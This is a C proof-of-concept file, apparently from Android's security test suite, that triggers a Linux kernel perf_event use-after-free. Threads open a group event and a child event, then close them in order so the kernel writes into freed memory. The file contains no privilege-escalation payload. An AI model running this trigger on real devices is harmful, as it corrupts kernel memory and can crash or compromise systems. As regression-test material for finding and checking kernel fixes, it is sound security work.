1 /*
2  * Copyright (C) 2017 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 //overwrite object+0x20,like a list initilize
17 #include <unistd.h>
18 #include <sys/syscall.h>
19 #include <string.h>
20 #include <sys/wait.h>
21 #include <stdint.h>
22 #include <stdio.h>
23 #include <pthread.h>
24 #include <sys/ioctl.h>
25 
26 
27 struct perf_event_attr {
28 
29   /*
30    * Major type: hardware/software/tracepoint/etc.
31    */
32   __u32     type;
33 
34   /*
35    * Size of the attr structure, for fwd/bwd compat.
36    */
37   __u32     size;
38 
39   /*
40    * Type specific configuration information.
41    */
42   __u64     config;
43 
44   union {
45     __u64   sample_period;
46     __u64   sample_freq;
47   };
48 
49   __u64     sample_type;
50   __u64     read_format;
51 
52   __u64     disabled       :  1, /* off by default        */
53         inherit        :  1, /* children inherit it   */
54         pinned         :  1, /* must always be on PMU */
55         exclusive      :  1, /* only group on PMU     */
56         exclude_user   :  1, /* don't count user      */
57         exclude_kernel :  1, /* ditto kernel          */
58         exclude_hv     :  1, /* ditto hypervisor      */
59         exclude_idle   :  1, /* don't count when idle */
60         mmap           :  1, /* include mmap data     */
61         comm         :  1, /* include comm data     */
62         freq           :  1, /* use freq, not period  */
63         inherit_stat   :  1, /* per task counts       */
64         enable_on_exec :  1, /* next exec enables     */
65         task           :  1, /* trace fork/exit       */
66         watermark      :  1, /* wakeup_watermark      */
67         /*
68          * precise_ip:
69          *
70          *  0 - SAMPLE_IP can have arbitrary skid
71          *  1 - SAMPLE_IP must have constant skid
72          *  2 - SAMPLE_IP requested to have 0 skid
73          *  3 - SAMPLE_IP must have 0 skid
74          *
75          *  See also PERF_RECORD_MISC_EXACT_IP
76          */
77         precise_ip     :  2, /* skid constraint       */
78         mmap_data      :  1, /* non-exec mmap data    */
79         sample_id_all  :  1, /* sample_type all events */
80 
81         exclude_host   :  1, /* don't count in host   */
82         exclude_guest  :  1, /* don't count in guest  */
83 
84         exclude_callchain_kernel : 1, /* exclude kernel callchains */
85         exclude_callchain_user   : 1, /* exclude user callchains */
86         constraint_duplicate : 1,
87 
88         __reserved_1   : 40;
89 
90   union {
91     __u32   wakeup_events;    /* wakeup every n events */
92     __u32   wakeup_watermark; /* bytes before wakeup   */
93   };
94 
95   __u32     bp_type;
96   union {
97     __u64   bp_addr;
98     __u64   config1; /* extension of config */
99   };
100   union {
101     __u64   bp_len;
102     __u64   config2; /* extension of config1 */
103   };
104   __u64 branch_sample_type; /* enum perf_branch_sample_type */
105 
106   /*
107    * Defines set of user regs to dump on samples.
108    * See asm/perf_regs.h for details.
109    */
110   __u64 sample_regs_user;
111 
112   /*
113    * Defines size of the user stack to dump on samples.
114    */
115   __u32 sample_stack_user;
116 
117   /* Align to u64. */
118   __u32 __reserved_2;
119 };
120 
121 
122 #define PAIR_FD 1
123 
124 int group_fd[PAIR_FD],child_fd[PAIR_FD];
125 
126 long created = 0;
127 long freed = 0;
128 long finished = 0;
129 
thr(void * arg)130 void *thr(void *arg) {
131   printf("id=%d arg=%d\n",gettid(),arg);
132 
133   int i;
134   struct perf_event_attr attr;
135 
136   switch ((long)arg) {
137   case 0:
138     //#16123
139     printf("thread 0\n");
140     memset(&attr,0,sizeof(struct perf_event_attr));
141     attr.type = 1;
142     attr.size = sizeof(struct perf_event_attr);
143     attr.config = 1;
144 
145       group_fd[0] = syscall(__NR_perf_event_open, &attr, 0x0ul, -1,
146                     -1, 0x1ul, 0);
147 
148       if(group_fd[0]<0){
149         perror("perf-group:");
150       }
151 
152 
153     memset(&attr,0,sizeof(struct perf_event_attr));
154     attr.type = 1;
155     attr.size = sizeof(struct perf_event_attr);
156     attr.config = 5;
157 
158       child_fd[0] = syscall(__NR_perf_event_open, &attr,0x0ul, 0x6ul, group_fd[0], 0x0ul, 0);
159 
160       if(group_fd[0]<0){
161         perror("perf-child:");
162       }
163 
164     created = 1;
165     break;
166   case 1:
167 
168     while(!created){
169       sleep(1);
170     }
171 
172     printf("thread 1\n");
173     close(group_fd[0]);
174 
175     freed = 1;
176 
177     break;
178   case 2:
179 
180     printf("thread 2\n");
181 
182     while(!freed){
183       sleep(1);
184     }
185 
186       close(child_fd[0]);
187 
188     finished = 1;
189 
190     break;
191 
192   }
193   return 0;
194 }
195 
poc()196 int poc() {
197   long i;
198   pthread_t th[5];
199   for (i = 0; i < 3; i++) {
200     pthread_create(&th[i], 0, thr, (void *)i);
201     usleep(10000);
202   }
203 
204   while(!finished){
205     sleep(1);
206   }
207 
208   return 0;
209 }
210 
211 
main(int argc,char const * argv[])212 int main(int argc, char const *argv[])
213 {
214   int pid;
215   unsigned int times;
216   times = 0;
217   printf("POC3\n");
218   printf("Please enable CONFIG_SLUB_DEBUG_ON and check the posion overwriten message in kernel\n");
219   fflush(stdout);
220 
221   // while(1){
222     pid = fork();
223     if(pid){
224       int status;
225       int ret = waitpid(pid,&status,0);
226 
227       printf("[%d]times.\r",times);
228       times++;
229     }else
230       return poc();
231   // }
232   return 0;
233 }
234